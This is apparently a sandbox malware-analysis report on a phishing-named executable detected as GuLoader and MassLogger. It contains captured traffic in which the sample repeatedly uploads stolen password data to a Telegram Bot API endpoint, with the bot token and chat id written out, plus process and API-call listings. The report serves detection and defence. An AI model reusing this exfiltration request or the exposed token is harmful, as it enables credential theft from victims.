2024-12-09 07:33:25 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1310,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729604,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49831	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:27 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd19a8eb1779e4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 61 38 65 62 31 37 37 39 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd19a8eb1779e4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:28 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:28 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1311,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729608,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49840	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:31 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd19d6c99f3d5c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 64 36 63 39 39 66 33 64 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd19d6c99f3d5cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:31 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:32 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1312,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729611,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49850	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:34 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1a09955ebf67 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:34 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 61 30 39 39 35 35 65 62 66 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1a09955ebf67Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:35 GMT Content-Type: application/json Content-Length: 539 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:35 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1313,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729615,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49860	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:38 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1a413e5c3134 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 61 34 31 33 65 35 63 33 31 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1a413e5c3134Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:38 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:38 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1314,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729618,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49870	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:41 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1a842186c56f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 61 38 34 32 31 38 36 63 35 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1a842186c56fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:42 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:42 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1315,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729622,"document":{"file_name

Target ID:	0
Start time:	02:31:36
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"
Imagebase:	0x400000
File size:	727'801 bytes
MD5 hash:	1E4847DD3C262A4303261601F0197A42
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2032277835.0000000003E08000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:32:24
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"
Imagebase:	0x400000
File size:	727'801 bytes
MD5 hash:	1E4847DD3C262A4303261601F0197A42
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15.1%
Signature Coverage:	18.9%
Total number of Nodes:	1508
Total number of Limit Nodes:	45

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\Request for Quotation New collaboration.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
1033, xrefs: 0040356C
Error launching installer, xrefs: 004035D8
NSIS Error, xrefs: 004033B9
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
~nsu.tmp, xrefs: 00403647
TMP, xrefs: 00403558
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe, xrefs: 004035FE
TEMP, xrefs: 00403550
SeShutdownPrivilege, xrefs: 0040376F
\Temp, xrefs: 00403522
C:\Users\user\Desktop\Request for Quotation New collaboration.exe, xrefs: 004036D5
"C:\Users\user\Desktop\Request for Quotation New collaboration.exe", xrefs: 004033CE, 004033D4, 00403595
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004034F0, 004035F3, 00403672, 0040367C
Low, xrefs: 0040353E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe$C:\Users\user\Desktop$C:\Users\user\Desktop\Request for Quotation New collaboration.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-513261896
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

